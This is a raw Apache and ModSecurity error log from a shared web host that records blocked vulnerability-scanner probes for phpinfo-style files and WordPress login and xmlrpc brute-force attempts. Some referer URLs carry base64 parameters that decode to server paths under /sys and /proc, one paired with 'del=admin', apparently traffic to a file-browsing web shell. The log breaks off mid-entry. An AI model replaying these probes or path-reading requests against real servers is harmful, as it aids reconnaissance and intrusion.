https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:15:38.388057 2026] [security2:error] [pid 646876:tid 647031] [client 185.177.72.9:27434] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/newinfo.php"] [unique_id "ai3yqtyTkdrNlD40tSGhTwAAABc"] [Sat Jun 13 18:15:38.472206 2026] [security2:error] [pid 646876:tid 646928] [remote 17.246.19.42:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yqtyTkdrNlD40tSGhUQAAPTE"] [Sat Jun 13 18:15:38.632906 2026] [security2:error] [pid 646876:tid 646921] [remote 17.246.15.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yqtyTkdrNlD40tSGhWAAASCo"] [Sat Jun 13 18:15:38.661579 2026] [security2:error] [pid 648189:tid 648400] [client 185.177.72.9:27450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/siteinfo.php"] [unique_id "ai3yqlWSojQL4F7upKBVrgAAALQ"] [Sat Jun 13 18:15:38.683077 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:15:38.683339 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:15:38.739389 2026] [access_compat:error] [pid 648189:tid 648222] [remote 57.141.14.104:40644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:38.739843 2026] [access_compat:error] [pid 648189:tid 648222] [remote 57.141.14.104:40644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:38.946817 2026] [security2:error] [pid 646876:tid 647102] [client 185.177.72.9:27462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info.php.1"] [unique_id "ai3yqtyTkdrNlD40tSGhaAAAAF4"] [Sat Jun 13 18:15:39.047166 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.40:21604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:39.047641 2026] [access_compat:error] [pid 646876:tid 646965] [remote 57.141.14.40:21604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:39.132409 2026] [security2:error] [pid 646876:tid 646949] [remote 17.22.253.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yq9yTkdrNlD40tSGhcAAAUUY"] [Sat Jun 13 18:15:39.213515 2026] [security2:error] [pid 646876:tid 646888] [remote 209.87.149.26:57343] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3yq9yTkdrNlD40tSGhdAAARwk"] [Sat Jun 13 18:15:39.217503 2026] [security2:error] [pid 648189:tid 648444] [client 185.177.72.9:27478] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/admin/phpinfo.php"] [unique_id "ai3yq1WSojQL4F7upKBVtgAAAN4"] [Sat Jun 13 18:15:39.219629 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:15:39.219908 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:15:39.234540 2026] [security2:error] [pid 648189:tid 648240] [remote 17.22.237.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yq1WSojQL4F7upKBVtwAA7RM"] [Sat Jun 13 18:15:39.261001 2026] [access_compat:error] [pid 648189:tid 648236] [remote 57.141.14.26:51800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:39.262217 2026] [access_compat:error] [pid 648189:tid 648236] [remote 57.141.14.26:51800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:39.484975 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:27486] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/pageinfo.php"] [unique_id "ai3yq1WSojQL4F7upKBVwAAAAQE"] [Sat Jun 13 18:15:39.585326 2026] [security2:error] [pid 646876:tid 646917] [remote 209.87.149.26:57343] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-login.php"] [unique_id "ai3yq9yTkdrNlD40tSGhfQAAByY"], referer: https://nelsonfarmstn.com/wp-login.php [Sat Jun 13 18:15:39.757204 2026] [security2:error] [pid 648189:tid 648377] [client 185.177.72.9:27492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info.php.back"] [unique_id "ai3yq1WSojQL4F7upKBVxgAAAJ0"] [Sat Jun 13 18:15:39.761939 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvYXRrYmQvc2VyaW8wL2RyaXZlcg== [Sat Jun 13 18:15:39.762387 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvYXRrYmQvc2VyaW8wL2RyaXZlcg== [Sat Jun 13 18:15:40.036057 2026] [security2:error] [pid 648189:tid 648461] [client 185.177.72.9:27500] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpbb/phpinfo.php"] [unique_id "ai3yrFWSojQL4F7upKBVygAAAOs"] [Sat Jun 13 18:15:40.098401 2026] [security2:error] [pid 648189:tid 648256] [remote 17.241.75.134:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yrFWSojQL4F7upKBVzAAA4yI"] [Sat Jun 13 18:15:40.238048 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.37:35540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:40.238460 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.37:35540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:40.299742 2026] [security2:error] [pid 646876:tid 647130] [client 185.177.72.9:27504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/release_info.php"] [unique_id "ai3yrNyTkdrNlD40tSGhmgAAAHo"] [Sat Jun 13 18:15:40.304798 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:15:40.305089 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:15:40.348801 2026] [security2:error] [pid 646876:tid 646953] [remote 57.141.14.99:22416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yrNyTkdrNlD40tSGhmwAAfEo"], referer: https://nelsonfarmstn.com/?add_to_wishlist=388&_wpnonce=8d149de2a5&add-to-cart=3088 [Sat Jun 13 18:15:40.563526 2026] [security2:error] [pid 648189:tid 648374] [client 185.177.72.9:27512] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test/info.php"] [unique_id "ai3yrFWSojQL4F7upKBV1AAAAJo"] [Sat Jun 13 18:15:40.665969 2026] [security2:error] [pid 646876:tid 646994] [remote 17.246.19.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yrNyTkdrNlD40tSGhogAAAnM"] [Sat Jun 13 18:15:40.756063 2026] [security2:error] [pid 648189:tid 648369] [client 154.94.3.73:19833] ModSecurity: Access denied with code 406 (phase 2). Match of "rx ://%{SERVER_NAME}/" against "MATCHED_VAR" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "73"] [id "340012"] [rev "3"] [msg "Atomicorp.com WAF Rules: Unauthorized Proxy access attempt"] [data "http:/"] [severity "CRITICAL"] [hostname "forum.codeproblem.com"] [uri "/images/gallery/thumbnails/2989582718.JPG"] [unique_id "ai3yrFWSojQL4F7upKBV3gAAAJU"] [Sat Jun 13 18:15:40.796407 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.100:39123] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:40.796870 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.100:39123] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:40.808625 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL21vdXNlMi9wb3dlcg== [Sat Jun 13 18:15:40.809075 2026] [access_compat:error] [pid 646876:tid 646883] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL21vdXNlMi9wb3dlcg== [Sat Jun 13 18:15:40.890808 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.53:58258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:40.891245 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.53:58258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:40.908872 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.36:30176] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:40.909318 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.36:30176] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:40.983515 2026] [security2:error] [pid 648189:tid 648386] [client 185.177.72.9:27514] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/info.php"] [unique_id "ai3yrFWSojQL4F7upKBV6QAAAKY"] [Sat Jun 13 18:15:41.086416 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.242.16:39444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=admin&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:15:41.086880 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.242.16:39444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=admin&p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:15:41.162881 2026] [security2:error] [pid 648189:tid 648268] [remote 149.28.167.253:52912] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.167.28.149.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yrVWSojQL4F7upKBV6wAA6S4"] [Sat Jun 13 18:15:41.163062 2026] [security2:error] [pid 648189:tid 648455] [client 149.28.167.253:52912] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "www.lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yrVWSojQL4F7upKBV6wAA6S4"] [Sat Jun 13 18:15:41.250592 2026] [security2:error] [pid 646876:tid 647074] [client 185.177.72.9:27524] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo.php3"] [unique_id "ai3yrdyTkdrNlD40tSGhugAAAEI"] [Sat Jun 13 18:15:41.320930 2026] [security2:error] [pid 646876:tid 646887] [remote 17.22.245.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan 